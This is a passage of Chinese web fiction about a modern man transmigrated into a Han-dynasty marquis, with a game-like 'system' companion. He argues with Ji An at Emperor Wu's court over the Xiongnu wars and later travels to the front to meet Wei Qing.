而且,适度耗上多少年呢?世世代代一直耗着不主动出击?因为但凡出击都会劳苦全国,虚耗府库。”
刘吉狠狠盯住汲黯,一锤定音:“一鼓作气,把匈奴打残打死,才是一劳永逸!”
刘彻眼看刘吉骂得汲黯面色如炭,他的面色就逐渐和缓了。
汲黯欲要引经据典,说些古往圣贤之说。
刘吉却懒得听。
进献神粮,赠金帛于将士遗属,大好的气氛都被汲黯毁了。
历史名人的滤镜碎了,不想听他哔哔了!
(汲黯:他后来插上话了吗他?)
“可别说什么爱与和平、礼乐大治那一套了!哦,这似乎是儒家论调,你大概要说无为而治、清静少事。”
汲黯被精准噎住,浑身颤抖更厉害了。
刘吉:“真要说,我倒是也有句话给:父母之爱子,则为之计深远。”
一套质问格挡、反伤对方,让对方一时进退不得,刘吉就趁机切换进攻技能。
“匈奴就是那草原上成群结队的凶恶狼群,若大汉对它们的入境捕食不回以痛击,反而甘愿做那圈养的两脚羔羊。”
“那么!恶狼不会被羔羊的温驯、无为所感化,它们只会遵循猎食本能,更加大肆地捕食羔羊!”
“吃得肚滚溜圆后,闲来无聊,还会玩弄羔羊、玩出花儿来。”
“长此以往,食物充足的狼群将会迅速繁衍壮大,羔羊也必将被蚕食灭族。”
譬如士大夫治国的文宋,够讲礼貌了吧!结果呢?
活着时苟延残喘,死后还引来一个蛮元。
草原异族肆虐中原的时代,历史上还有好些。
如果中原百姓有得选,你猜他们是愿意早早舍一儿郎,保一家老小、家国平安,还是日后一家人整整齐齐地,去做两脚羊?
对那些战乱小国国民而言,生在一个强大的国家,哪怕也会有不如意的地方,总体也是幸福的。
虽说:兴,百姓苦;亡,百姓苦。
但也有言:宁做太平犬,不做乱世人。
“怎么?主爵都尉是觉得,只要你在世时活得富足安宁,管他子孙后代是进哪口锅?是煎是炸,抑或是蒸是煮?”
也别说什么罪在当代、功在千秋了,只一句:汉武帝时不趁着中原富足,把匈奴打残,说不定‘五胡乱华’就得早三百年!
眼下的匈奴,冒顿单于虽早已逝去,继任者军臣单于也已老,却也不曾落寞。
大汉安敢置之不理、放任自流?若真敢,怕不是得浪卷中原,让中原陷入无边苦海。
“为子孙后代计,匈奴也该打!”
刘吉的一番话,不可谓不毒辣。
汲黯进谏从来都是站在大义一方,今天竟被刘吉一通驳斥,把他打成了一个自私自利、目光短浅、懦弱苟且之徒!
“嗬!嗬嗬!嗬!”汲黯从脸到脖子涨得发紫。
喉中嗬嗬气音,缓缓瘫倒,竟像被气得要背气了!
“喂喂喂!”
刘吉一步跳开!
无助地伸出双手,碰又不敢碰。
“你冷静!冷静!冷静!”
脑内呐喊:【系统!怎么办怎么办!汲黯要被我骂死了!】
14.插曲终了
【汲黯要被我骂死了!历史要被我改变了!】
【可是不关我事啊!谁叫他阴阳我的,他自己找骂,他自己脆弱!谁知道他这么不经骂啊!】
比系统狗的解答先到达的,是签到成功的提示音——
【恭喜成功签到[历史名人:谏臣汲黯]!】
【恭喜您获得800月石!】
刘吉脑内呐喊:【系统你拎拎清伐!都什么时候了,人都要死了!】
汲黯已经瘫倒在席上,面部涨紫,嗬嗬喉音都低沉下去了。
殿中公卿们一拥而上,都围拢来了!
【历史总是在演变着的,历史是客观的,不可以被改变。】
系统慢慢悠悠,姗姗而至。
【所谓历史被你改变了,是一种谬论。】
【你不能改变历史,你只能创造历史。】
刘吉急都急死了,他虽然嘴毒,但还没想背上一条人命啊!
尤其还是历史名人——谏臣汲黯的人命,真那样他不就成了谏臣撞柱死谏的那根柱子了吗!
呸,逼死谏臣的奸臣。
——这骂名可脏了。
他没耐心听系统在这故弄玄虚。
直指结论:【不就是衍生世界的言论吗!如果偏离了主线历史,自然就会衍生出一个新的平行的世界。】
【我也已经知道了,如果‘改变’了——创造了历史,我不用受惩罚。】
【重点抓对。】系统狗表示肯定。
刘吉脑内哨子尖叫:【重点是这吗?重点是汲黯要被我骂死了啊啊啊啊!】
系统不解:【你不是已经知道不会受罚了吗?急什么?】
【人总有一死,历史名人如汲黯,当然也不会例外。而且你已经成功签到汲黯了啊。】
汲黯今天如果死在殿上,也不过是历史主线分岔出了新走向,衍生出新的平行世界而已。
何况签到也成功了,没有损失月石奖励。
理智到冷酷的发言,让刘吉意识到系统狗再智能,它也不是人,没有人性。
所幸,在刘吉吓呆在当场的时候,汲黯终于在同僚们的拍抚下缓过气来。
但随即就从破碎的喉咙里发出嘶吼:“大汉六世之积,耗空于今朝矣!”
好战必亡啊!
人没事,自己吓自己。
不过,奋六世之余烈?
刘吉劫后余生,恍惚之下,又触发关键数字,在脑子上线之前,嘴已经扛着火车先跑出十里地:
“存了钱就是拿来用的,焉知高祖皇帝不愿吾等子孙,用六世之积,以雪当初白登之耻?”
虽然应该讳言先祖之辱,但子孙为先祖雪耻,乃是大孝!
“还有你说错了,秦始皇才是奋六世之余烈。陛下是大汉第六位皇帝,你应该说‘耗尽五世之积’。”
汲黯也是被刘吉的巧言善辩气狠了,当场还嘴:
“君侯之意,是不算今上此世?是说今上继位以来,竟不曾积蓄分毫?!”
今上继位以来,竟一直在败家,不曾挣得分毫积蓄?
你要开除今上的当世不算?
“啊你!”刘吉懵然语塞。
强词夺理,巧言善辩,牵强附会!
论才思敏捷,小年轻刘吉必是不如谏臣汲黯的。
一旦汲黯放下包袱,学得无赖精髓,不求讲理,只为噎人,那也是够让刘吉喝一壶的了。
汲黯又道:“君侯竟将陛下与暴君始皇帝相提并论?”
“汲黯,你学坏了。”刘吉幽幽指控。
刘吉:清醒了,脑子清醒了。
“哈哈哈!”一直稳坐高台的刘彻笑了出来,居中劝架:“哈哈,好了好了,都别逞口舌之利了。”
这也是劝的偏架。
毕竟刘吉是真正把汲黯一顿好骂,而汲黯回敬的,不过是不痛不痒的挑拨离间。
刘彻知道刘吉并无言外之意,不过是吓呆后的胡言而已,并不在意。
再者,把他和始皇帝相提并论,难道不是肯定他的功绩吗?
儒家那一套衡量君王功过的标准,他何曾信服、在意过。
刘吉入殿以来的表现都可称得上聪明。
而且相比聪明到老辣圆滑,他的聪明尚且稚嫩意气,也更讨人喜欢。
刘吉见机识趣的本领,那也是童子功了。
一秒当回乖巧侄子:“唯!皇叔教训的是,臣侄一定谨记,绝不再轻易逞口舌之利!”
真到需要的时候,他会慎重地逞口舌之利。
“你啊你啊。”刘彻隔空对刘吉指指点点,却不说一句重话。
汲黯也爬起来,拜倒在席上:“臣知错。”
孤高硬气如汲黯,‘知错’二字就已是委曲求全的极限了。
再多的自陈己罪的话,无论如何也出不了口。
刘吉侧头去看拜俯的汲黯,心里暗摇头:粗略来看,汲黯与历史上的名臣魏征相比,还是要差点。
至少以魏征的情商,应该不会在今天这样的大喜场合扫兴。
……
吵架插曲终了。
刘吉又把话题拉回来。
“主爵都尉的顾虑,倒也不无道理,穷兵黩武确实要不得。”
“臣侄不会引经据典,再者空谈误国,但也知道过犹不及的道理。”
“当匈奴被打残,不成后患时,及时收手,暂止兵戈、休养生息,以最小的损耗谋得最大的利益,那样才真正是一笔划算买卖。”
比如,漠北之战结束后,匈奴远遁,而漠南再无王庭。
那时对匈奴的大举军事行动,就可以宣告结束了。
有卫霍双璧的前期五次对匈战役就足矣。
后期六次出击匈奴,不是无功而返,就是全军覆没,纯纯是空耗国力。听话,咱就别打了好吗?
但心急吃不了热豆腐,现在说这些还太早了。
这会儿刘吉不是以进谏的姿态,明显是在给汲黯找台阶下,刘彻未做多想,颔首肯定:“言之有理。”
于是刘吉顺势就对汲黯一揖礼,“方才是某意气轻狂了,冒犯之处,还请海涵。”
不得不说,刘吉说话虽气人,但剥去辛辣的字词,所言也有二三分道理。
汲黯起身后就臭着一张脸,但也草草拱手回了一礼:
“哼。”
虽然回礼,但是哼声嗤鼻。
刘吉:行叭。
反正他也只是说说场面话,目的是收束过渡一下话题。
勉强把场面敷衍周全回来了。
刘吉终于说回正题:“诚如臣侄所言,为子孙后代计,大汉对匈奴也不得不予以抗击。
而但凡战争,就免不了牺牲。将士们是为国、为大家而死,虽死犹荣。”
“可战死将士的小家,他的父母妻儿,却也实实在在地因为他们的牺牲、一去不回,而承受了剜心之痛。再往远说,还有因此而引出的劳力短缺的困局。”
“臣侄不能说让将士们为了回家,而怯战畏死,因为那样他们只会死得更快。
真那样畏死,或将国之不存,十数年后,他们的家人就也都要追随而去了。”
“因此,臣侄只想尽己所能,赠予此战将士遗属些许金帛,聊慰丧亲痛楚,稍缓劳力短缺而引起的衣食窘境,可
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待来日子弟长成之时。”
刚才刘吉叱骂辛辣,可此时一番话却也是肺腑之言。
这殿中公卿未必尽皆怜贫惜弱,将区区庶民的苦难放在心上,切身同理。
但起于微末,年轻时曾放猪为生的公孙弘,过往世情冷暖练就他了一身审时度势、能屈能伸的本领,此刻也为刘吉的言语触动。
公孙弘离席,向上首拜道:“君侯之言朴素,却句句在理。”
“战死将士的遗属得君侯赠金,受到抚恤,便能稍缓痛楚和困苦。
而前线将士眼见耳闻,知道了万一身死战场,父母妻儿也不会饿死。也可激发其士气,愈加英勇作战、奋死杀敌。”
当今陛下对存活的将士不吝赏功,对阵亡将士的抚恤,就逊色了许多。
赏功和抚恤皆可激发前线士气,而后者还能同时安抚后方百姓。
然而,也确如汲黯所言,积蓄了六世的大汉府库见底了。
为缓解此患,已于二元六年冬①,开始征收商人车船税。
就是想要抚恤阵亡将士,也力不从心啊。
不动如山的丞相薛泽,终于也开口:“陛下德感动天,得上天赐下神粮,待两三年育种之后,将神粮推广于郡国。”
“届时天下粮食丰收,天下再无饥馑,阵亡将士的遗属自然也就衣食俱丰了。”
“诸卿所言甚是。”
刘彻到底是被汲黯破坏了心情,但在暴躁之余,也踌躇满怀。
展袖一挥,换个姿势,下旨道:“你有此仁心,竟舍得赠金帛与阵亡将士遗属,朕准了!”
“朕任命你为使者,再添黄金一千斤,交与你运往河南地阵前,与车骑将军一道犒赏将士。”
他这侄子不能沙场杀敌,去阵前看看却并非不能。
再者慷慨赠出赏赐的九成金帛,便是宣扬一二,有些虚幻声名,也是他应得的。
刘吉激动接旨:“唯!”
与大将军的会面,就在眼前了!
历史事件——河南之战的签到难题,也迎刃而解。
刘彻接着下旨:“郑卿,马铃薯的育种事宜关乎社稷,还望卿亲自盯着此事。”
郑当时离席领旨:“唯!臣定当慎重对待,亲掌神粮育种一事!”
府库见底,苍天知道他这个大农令,焦虑得假髻都快戴不住了啊。
“臣欲先拣选籍田管辖之中,忠诚老实的经年农户……”
接着便是就马铃薯育种一事,郑当时与刘彻和同僚们交换了他的初步计划。
君臣共议,讨论出稳妥细则。
譬如分区对比育种,严明育种流程,留种以防万一等。
刘吉二十来年吃过的土豆倒是车载斗量,却只见过它长在地里的绿苗,种植流程和技巧是一窍不通!
他就只是安静地旁听,并没仗着现代人的身份,逞能去外行指导外行。
事实上,大汉农具落后,大汉君臣虽古,却不傻。
他们的种田经验和技巧,可比五谷不分的刘吉靠谱多了,相比之下都不算外行了。
议定马铃薯育种诸事,又就刘吉做捐赠者兼职天子使者,前往河南地阵前抚军犒军一事,商议了细节。
“……抚恤阵亡将士遗属,更需郡国协作,因此到了前线首要是整理出真实可信的阵亡将士籍册,之后才好分郡县侯国,按册赠发相应金帛。”
“……陛下所赐黄金,只做犒军之资,交于车骑将军,或购豚羊宰杀吃肉,或散发钱币以奖战功,皆有将军和君侯决断。”
刘吉只是兼职天子犒军使者,做主的主人翁还是天子,再就是领兵的车骑将军卫青。
15.分享喜悦
虽有汲黯掀起波折,也已顺利平息,今天殿上献宝一事算是大功告成了。
集议完细则,刘彻又赐宴宣室殿。
君臣吃吃喝喝,日入西山时,宴罢人散。
刘彻离去之前,又吩咐一队郎官驾车护送刘吉。
“驾驷马安车,将人稳妥送到。”
“唯!”
驷马安车,即四匹马拉车的坐乘马车,二千石公卿显贵及得皇帝特赐者才有资格乘坐。
临了又回头补充:“也不必驾回来,就赐给你了!”
郎官再次领命,被赏赐一辆‘汉代劳斯莱斯’的刘吉,则晕陶陶地领赏:“谢皇叔赏!”
刘彻终于离去,刘吉谢完赏直起腰来。
醉意绊得腿脚不稳,身形一晃,就要摔倒。
竟然是汲黯眼疾手快扶了一把,才让他免了一跤。
“谢谢汲都尉,你真是个好人。”刘吉脚下站稳,对汲黯道谢。
许是醉眼蒙眬,没看准方向,竟对着一根柱子揖了一礼。
现年七十三岁的公孙弘,身材相貌保养良好,仍有三年前一眼惊艳了猪猪帝的‘状貌甚丽’。
妥妥一个美大叔,不、美大爷,开口提醒:“君侯,长儒在君侯的偏西方。”
汲黯,字长儒。
至于刘吉根据汲黯的职掌简化的称谓——汲都尉,不能说错,只能说少见。
但这会儿也没人去和一个醉鬼计较。
“左西右东……”刘吉嘟囔着,左转九十度,二次揖礼:“谢过汲都尉。”
“又错了,君侯面前的是丞相。”
“哼。”
汲黯眼看刘吉团团转地谢了一整圈,才谢到他面前。
“不敢当君侯的谢,更不敢当君侯的‘好人’赞誉。”
刘吉当面蛐蛐:“就是学坏了。”
好人是好人,就是学坏了,都会阴阳人了。
汲黯横眉竖眼正欲还嘴,公孙弘已上前一步搀扶住刘吉,打起圆场来:“君侯醉言醉语,长儒别生气。”
“哼!”汲黯唰地转头,对公孙弘哼声嗤鼻。
同等鄙视!
迎合媚上的假儒!
外表宽厚实则城府极深的伪诈之徒!
也配与他同殿而立,同辈论交!
公孙弘与主父偃经历很像,都是早年寒微,半路入门研习儒学,人到晚年才通过郡国选举贤良,策问对奏汉武帝,从而得到赏识重用。
不过公孙弘的官途,要比一年四迁的主父偃更辉煌。
毕竟是明年将升任副丞相:御史大夫,再两年又要出任丞相,汉朝十八位丞相以来首个因拜相而封侯的美大爷!
且相比主父偃的倒行逆施,举世皆敌,公孙弘就会做人多了。
总归对外示人的,是节俭轻财、敦厚重义的美好品行。
“……”被哼声嗤鼻,公孙弘的神态仍旧亲善。
公孙弘不语,只是搀扶着刘吉往殿外走。
刘吉:不能因为你汲黯耿直,就觉得其他性格都低一等啊!
你性格耿直,还不允许内敛的人活了吗?
别太霸道啊!
刘吉被公孙弘搀扶出殿,下完长阶,又坐上马车,临行前行礼道谢:“多谢公孙内史。”
公孙弘还礼:“君侯客气了。”
刘吉又和近处同行的郑当时、刘弃几人互相别过。
然后马车驶离,辘辘地往未央宫外驶去。
还没驶出宫门呢,刘吉就已醉卧车上了。
车辕上驾车的,以及车马四周护送的郎官们听见呼噜鼾声传来,心下暗道:君侯体弱,酒量尤逊于常人啊。
醉后也不像常人面红耳赤,仍旧面皮雪白,想来是气血虚弱之故。
系统狗:刘绿茶那是天生皮肤白。
郎官们一无所知,只是觉得:君侯长途跋涉入长安,才歇一晚就被宣进宫来,体虚也难怪了。
……
回程时原路返回。
出得北宫门,转入藁街时,刘吉悠悠醒转过来。
等马车在下榻官宅前停下时,人就已经坐起来了。
陶杯四人和狼灰一狗都等候在大门外,见到车驾忙迎上来。
“郎君回来了!”
“汪汪。”狼灰摆尾,汪汪两声。
【哟,演技帝回来了。】
【嗐过誉了!半真半假,五分醉意五分醒。】
陶杯和陶盘二人满心关切刘吉,去搀扶人下车,颜枢则去与护送的郎官们应酬。
在得知这一乘驷马安车乃陛下赏赐,又回身唤来府中仆役,驾车走偏门把马匹牵去马厩安置。
鲁直就自然地接替招呼起郎官们来,“有劳诸位郎君相送,快请进宅稍歇,也让我等款待酬谢一二。”
宿卫未央宫的郎官,可不同于南北两军的寻常卫兵,他们大多是恩荫的公卿子弟,更是天子近臣。
也正因如此,这些郎官皆知刘吉今日的献宝之功,虽然神粮育种尚需时日,还不宜宣扬,可他们却不敢轻慢了。
“臣等奉陛下之命,不敢言功劳。”领头的郎官婉拒了酬谢。
又果断告辞:“天色将晚,君侯醉酒而归,还是早些歇息为宜,我等也要回宫向陛下复命,就不叨扰了。”
歪歪倒倒的刘吉道谢:“有劳诸位了,来日有机会一起喝酒!”
也没多留客,谢过后就把人送走了。
陶杯搀扶刘吉进到堂屋,陶盘已先行一步去盛来了一碗温热的枣干麦粥。
“郎君喝两口麦粥,压压酒意,也暖暖胃。”
刘吉从善如流,接受了关怀:“睡了一路,正好觉得肚中空空。”
一碗麦片粥下肚,灌了一肚子水的胃里舒服不少。
“郎君此去宫中……”陶杯见刘吉喝完粥,面色神态都无异状,便迫不及待地开口。
“郎君得陛下赐宴,畅饮开怀,但醉意催眠,还是简单盥洗过后早些歇下吧。”
正在此时,颜枢安置好车马回来了,身后跟了几个仆役,捧着盛着热水的陶罐。
“叫仲枢费心了。”
刘吉手掌搭上陶杯的手臂,借力站起。
“确实颇觉困倦,洗洗睡吧。”
陶杯目光在颜枢和仆役身上扫过,若有所悟。
刚才是他莽撞随意了。
“仆来服侍郎君洗漱。”
一夜酣眠至天明。
第二日起床,吃过朝食。
刘吉牵绳去庭中遛狼灰,顺便消消食。
陶杯等四人跟随作陪。
遛了一会儿,刘吉停在回廊中段,倚着栏杆歇脚。
有系统狗随时开着环境监测扫描功能,可以确保四周无耳目。
“昨晚陶杯问起入宫之事……”
刘吉的话刚开一个头,陶杯就检讨请罪起来:“昨晚是仆冒失了。这宅中人多耳杂,郎君又是醉酒归来,并非长谈的时机,幸而颜郎君机警,及时帮忙周全了过去。”
面对陶杯的道谢揖礼,颜枢却不自傲,回礼道:“陶郎君客气。”
鲁直和颜枢能够早早自荐来投,又肯吃苦表现跟来长安,就可以看出二人绝非清高自矜之辈。
对奴仆之身却也是刘吉亲信的陶杯和陶盘二人,也不因己身是儒士,就言语鄙夷、姿态轻慢。
二陶与颜枢和鲁直两方之间,维持
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着恰好的和睦平衡,刘吉乐见其成。
为此他也不吝于表现出对他们的亲近信任。
“我并非问责于你。”刘吉未语先笑。
“你们随侍我身侧已有十来年,我深知你们忠心不二。只是你们以前较少遇到需要机灵应变的时候,才显得迟钝了一些。”
“而且,陶杯你这不是立即就明悟了吗?”
“日后经得多、学得多了,自然也就能练出一身周到妥帖的本事。”
陶杯和陶盘是先城阳王死后,现城阳王把兄弟们分家分出来时,配给他的一对宦者——二人属于其中不是‘太监’的那部分。
虽然是近侍,却不算自幼和原身一起长大。
这也是刘吉现在还愿意继续重用二人的主要原因,忠心却不太过亲密。
他只要在近两年稍微演演,就不会被发现换了芯子。
等过个几年,潜移默化,行事举止也就顺理成章地完成过渡了。
陶杯和陶盘果然感动不已:“唯!”
“郎君宽仁,仆一定早些学机灵!”
郎君封侯在即,他们若不中用,不仅是断了自己的通天前途,更是辜负了郎君一直以来的信重。
转头又对着颜枢和鲁直,揖礼请求:“ 日后还要麻烦二位多多海涵,多多指教,感激不尽!”
后者二人也是面带笑容,欣然同意:“吾等皆为郎君效命,自当互相扶持,不必见外言谢。”
虽还不清楚昨日入宫献宝的详情,可只看皇帝赏赐了郎君一乘驷马安车,就知结果不差。
而这也表明,他们效力的主人已经领先了即将同批晋封的列侯一步,他们的前途也将随之水涨船高。
刘吉很满意下属间竞争又合作、朝气奋发的氛围。
“你们这样就很好。只要我们齐心合力,必定万事无忧。”
万事无忧,咸鱼躺平——想想那日子就美着呢!
刘吉满怀期待,言归正传,“我知道你们都关心昨日之事,现在就与你们说一说……”
接着就拣能说的,简单概述了献宝一事的起因和经过。
因这事干系隐秘而重大,此前不曾透露个中首尾给几人,这会儿他们也都是第一次听说。
随着刘吉的讲述,此处回廊空间弥漫开火热的氛围,不时还响起几声压抑惊呼。
“嗬!”
“奇哉怪哉!”
“噫吁嚱!”……
刘吉:忘了你们都是迷.信的古人。
这时就看出差距来了,猪猪帝和大汉公卿们的素养修行比眼前四人的高出太多了。
等说到揭晓宝物,乃是产量六十倍于五谷的高产神粮时,更是点燃了此方空间!
四人或手舞足蹈,或跺脚搓手,面红耳赤,激动低呼……举止不同,但是一样的激动。
个中原因,有纯粹为天赐神粮、民无饥馑而泪眼,也有为刘吉献神粮的泼天大功而大喜。
好不容易等几人激动稍减,刘吉才又叮嘱:“神粮育种尚需时日,不宜过多议论,都轻易别往外说。”
颜枢更是一刀切:“神粮关乎社稷,知情者虽不少,但公卿们都知轻重,不会私下在民间大肆宣扬。”
“因此我们也绝不可四处宣扬,以免到时引起议论纷纷,追根溯源查到我们这里,恐让陛下与公卿们误会郎君行事轻浮、不堪重托,御下不力。”
偌大功劳都砸头上了,若不能稳稳接住,岂不是有负苍天厚爱!
“言之有理!”
“理当如此!”
“定当谨记!”
其余三人纷纷点头。
刘吉:你们打鸡血的样子,让本侯感到害怕。
16.相见卫青
“知道你们激动,但先别激动。”
刘吉往下讲后续和应对。
等他讲完面对陛下厚赏,一推封王、二拒益封,三赠金帛于阵亡将士遗属。
四人都安静下来,或茫然,或肉疼,或若有所思,却都没有对刘吉推拒泼天权钱的谴责。
虽不明就里,但郎君此举一定自有他的道理。
陶杯和陶盘一时不能悟出原因,但他们拥护郎君的一切决定!
颜枢和鲁直识文断字、读史学经,心思更敏锐些。
二人对视一眼,似达成了某种共识,最终由颜枢开口:“郎君种种应对,可称得当。”
“虽有小小冒失,然不伤大雅,无须在意。反而突显郎君纯真质朴,更讨尊长怜爱。”
“但有一事,略显不妥……”
颜枢的未尽之言,刘吉有所猜测,抑或说昨天在殿上时,他就已有觉察。
他也不是听不得建议的性格,“仲枢但说无妨。”
颜枢有努力说得委婉:“兵权可谓龙之逆鳞,沾涉兵权的言行,宜当讳莫如深。”
“然郎君取金帛赏赐之九成,赠与阵亡将士遗属,此举便有些犯了忌讳。”
“确是如此。”昨天后来猪猪帝额外加码犒军,再与公卿们集议出的细则,就已让刘吉隐约明悟。
【不愧是你汉武帝!就是神粮在手,我又诸多铺垫,也仍没叫他忘记权谋制衡。】
蹲在腿边的系统狗扫扫尾巴,【这大概就是权利生物?】
【权谋就流淌在他的血液里,有时在脑子想明白之前,本能就已做出最佳应对。一切都是天赋所在而已。】
又冷不丁地补上一刀:【就像你的绿茶天赋。】
刘吉被刀,但不痛不痒:【我更愿意你说我的演技和情商天赋异禀。】
【。】狼灰狗头一甩,不想理睬。
这边,颜枢在继续说着:“倒也不必太过介怀。”
“因为受赠者乃是散居于郡国的将士遗属,而非仍战斗在边疆的勇武将士。只要日后不再多沾染军兵之事,就不成大忌。”
刘吉站直身体,郑重地向颜枢揖了一礼。
“有赖仲枢。前事重大,不敢泄密,因而不曾同仲枢你们商议,竟疏漏了不妥之处。”
“来日再有不妥之举,还请诸位教我!”
一人计短、众人计长,有人帮忙查漏补缺,日子就会过得更安宁、轻松。
不过如果再来一次,他还是会做出相同的选择。
利弊权衡,趋利避害,但抵不过他乐意。
鲁直和颜枢忙辞礼不敢受,“郎君言重!”
“郎君多礼了,本就是吾等分内之责,何谈请字。”
【演得好一个‘主臣相得’。】系统狗的尾巴扫帚一样,唰唰地在地上扫来扫去。
刘吉和颜枢把臂而立,目光与其余人对视一圈,这处回廊里一时间脉脉主臣温情萦绕。
也不耽搁他脑内反驳:【刘某礼贤下士之心,苍天可辨。】
……
【请准备签到:[历史事件-河南之战·收复河南地]!】
……
【倒计时:二十七日。】
车马辚辚。
逶迤的犒军使者队伍如溪流潺潺,自长安城门洞流出,向北淌去。
这一趟刘吉没有骑马赶路,而是乘坐了猪猪帝赏赐的驷马安车。
原来的车是车有篷盖,车厢四周不封闭的窗棂式,现已在方格軨内侧嵌置木板,将四面封闭,改成了栏板式马车。
简言之,车厢密封的马车,让刘吉在赶路时想箕坐就岔腿,想瘫着就躺平,怎么舒服怎么来!
车里只有护卫猛犬狼灰,趴在车内地板上,有一搭没一搭地扫着尾巴。
【狼灰,你的人类同事效率还不错吧?】
刘吉调出任务界面,查看当前历史事件的签到倒计时,脑内炫耀。
提前一个半月发布准备签到提醒,在倒计时不到一个月的时候,终于从长安出发前往目的地河南地。
【不错不错。】系统脑音敷衍至极。
签到倒计时的限制,让刘吉献宝当天集议犒军细则时态度积极,恨不能立刻脚底长羽毛飞往前线,所以敲定的出发日期就很紧凑。
刘吉在宅子里歇整(准备)了三日,期间猪猪帝赏赐的金帛调配完毕。
其中一成——黄金百斤、布帛百匹,刘吉自留花销,被送到他下榻的官宅收放起来。
余下九成将被赠与阵亡将士遗属,却并不运往北疆前线,只是尽数暂存长安,待前去整理出可靠的阵亡将士抚恤籍册之后,再按册分发至各郡国的将士遗属手中。
所以刘吉这一趟只押运了猪猪帝所赐一千斤黄金,前往河南地交予车骑将军卫青犒军。
一千斤黄金的体积并不占地,两辆车轻松装下还空空荡荡的。
但护卫刘吉兼护送黄金的郎官、卫兵却有五百人马,加上一路的吃喝行李,让队伍瞬间膨胀。
一路浩浩荡荡。
这日夜晚,队伍停在直道旁的平地上,扎营露宿。
陶盘齐眉端举食案,为刘吉呈上烤肉、干粮麦饼和羊肉汤。
“郎君,若有不合口之处告诉仆,仆定竭力改进。”
这趟出行只有他和颜仲枢随从,陶杯和鲁伯敬留守长安官宅看家,他可得格外仔细侍奉郎君的衣食!
“你的灶上功夫,我从来都是满意的。”刘吉先端起食案上的羊肉汤,斯文地抿了一口。
呀呸!又骚又咸,微苦微涩。
羊肉做不好是真难吃啊。
他也真是富起来了,陶盘都舍得大方放盐了。
但是吧,他们即便用的是贵价盐,也难免仍带点苦涩杂味。
刘吉放下汤,把干粮麦饼掰断、敲碎了后泡进去,于是他就得到了一碗‘羊汤泡饼’。
一口饼汤,就一口烤肉,囫囵吞服。
至于说后世的精盐纯正无杂味,何不提炼精盐食用?
嗐!物理化学领域的技能,他一个偏科‘历史生’是一窍不通啊。
所幸陶盘确实有一把子灶上功夫,虽说巧妇难为无米之炊,他也能在简陋的调味、烹饪条件下,做出相对简朴但味道尚可的餐食。
总之比他的厨艺水平要高。
刘吉关怀道:“陶盘你和仲枢吃了吗?不用说了,我知道你们肯定还没吃,快去吧!”
“喏!”陶盘乐呵呵地去了。
吃到六分饱,满足了维持生命的需求,刘吉就不愿再多动一箸。
这时候他就有些想念刘女士了,想念刘女士做的浓油赤酱的回锅肉、红烧肉、糖醋里脊、宫保鸡丁……
思念的情绪随风刚潜入夜色,就被用完夕食后过来的陶盘和颜枢打断。
“请郎君安。”
“郎君安好。”
晨昏定省,算是让他们形成定制了。
可这是为人子之礼啊!
他都还没在刘女士面前尽为人子之礼:冬温而夏凊,昏定而晨省①,倒是先过了一把当爸爸的瘾。
好吧好吧,臣子臣子,是臣也是子,事主如事父,道理他都懂。
但是……当爸爸的感觉真不错!
“安好安好。”
刘吉飘飞的思绪再次收束,开启了下属相处模式。
关怀一下二人今日身体,问询两句一天的旅途,再天南海北随意闲聊几句。
他们离长安,出关中,走着直道,一路行来都一路顺风。
“……昔日始皇帝修筑的驰道,倒是便利了后来人。”聊着聊着,颜枢随口感叹一句。
不仅方便了他们行路,更便利了大汉北击匈奴。
“像直道一类的一座座大山,全都压上了秦的肩背,终于一日不堪重负,它被压倒了。”
刘吉也随口感慨:“罪在当代,功在千秋,大概就是这样罢。”
颜枢一时静默,望着天上一轮圆月。
“大抵如此了。”
随着日渐相处,刘吉也越来越和颜枢他们合得来了。
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>不说三观完全相合,至少在历史观这方面有不少看法相符。
颜枢出身鲁地,身为儒家学子,倒是难得少有的对秦始皇偏见不深。
……
星夜兼程,行路四五日。
刘吉一行犒军队伍终于抵达河南地前线。
战场前线,敌我交锋,大军来去不定。
早在两日前的半途,刘吉就派出几支郎官小队,分别前往数个可能的方位探路送信。
只等有小队找到卫青大帐所在并递上书信,再返回为队伍带路前往。
否则前线广阔,一不小心就会迷路、扑空、错过,根本找不到大军的影儿。
在这一点上,飞将军李广深有同感。
所以等刘吉率队前往,距离卫青大帐尚有三里地时,就在前进的方向上见到了亲自来迎的卫青。
百来个亲兵,身穿方形甲片编成的披膊铁叶扎甲,胸背两甲用带子与肩相系,外加披膊护甲,头戴铁胄,或执长戟或背弓箭。
悍勇铁血之气,凝聚成势,随北风呼啸而来!
【不愧是跟随卫青痛饮匈奴血的好儿郎!】
在百数个士兵之前,立着一位将官,身着筩袖扎甲,以鱼鳞状小型甲片编成,与士兵扎甲形制相似,但行动会更灵便。
头戴尖顶皮弁,腰间皮带挂佩长剑。
【这就是那位大将军卫青啊!!!】
刘吉叫停驷马安车,身形轻矫地跳下车,当先疾步迎上前去。
对面大概没想到刘吉会在百步之外就弃车步行,也哗啦啦地迎上来。
就像是阔别多年的旧友重逢。
双向奔赴,越来越近,越来越近!
近到刘吉终于看清卫青的相貌,五官英挺却细致,不显粗犷,半长的胡须整洁顺直。
一如想象之中,身形昂藏,肩宽腰细腿长,气质却温润儒雅。
大将军卫青,有武将的身、文臣的脸,长得像武将之中的温雅儒将。
【大将军真好看!】
落在后面的系统狗,在脑内回应:【他要是长得丑,和汉武帝也传不了那些绯闻。】
疾步的刘吉脚下一绊,差点摔个五体投地。
之所以没摔成,是及时赶到的卫青一个大步上前,扶住刘吉的胳膊拉了他一把。
当事人近在咫尺,刘吉觉得干脆让他摔倒算了,刚好把头埋土里!
“卫青在此见过君侯。”
把刘吉扶住站稳,卫青就收手后撤一步,向刘吉躬身揖礼。
大将军卫青除了‘善骑射,材力绝人’的个人本领,善待士卒的为将守则,他为人的显著性格特征便是:谦和礼让,和善柔顺,仁厚谨慎。
此时对刘吉的冒失和尴尬,他体贴地选择了视若未见,只字不提。
【大将军的品格和功劳不是劳什子绯闻可以掩盖的!】
刘吉上前一步,扶起卫青,哈哈大笑:“哈哈哈,刘吉本该向卫将军行一个大礼。”
五体投地的俯拜,可不是一个大礼吗?
“既然卫将军不受,那刘吉就回个揖礼罢。”
说完也后撤一步,向卫青躬身揖礼。
“岂敢岂敢!君侯多礼了。”卫青连忙避礼不敢受。
双方相见,刘吉脚下不慎差点跌倒,却能豁达玩笑,让此间气氛迅速轻松起来。
“拜见车骑将军!”
“拜见君侯!”……
接着双方随行人员和护卫亲兵,也互相礼见。
重新站定,卫青身后的一个年轻小兵,看着刘吉开口:“你这人还算好相处嘛。”
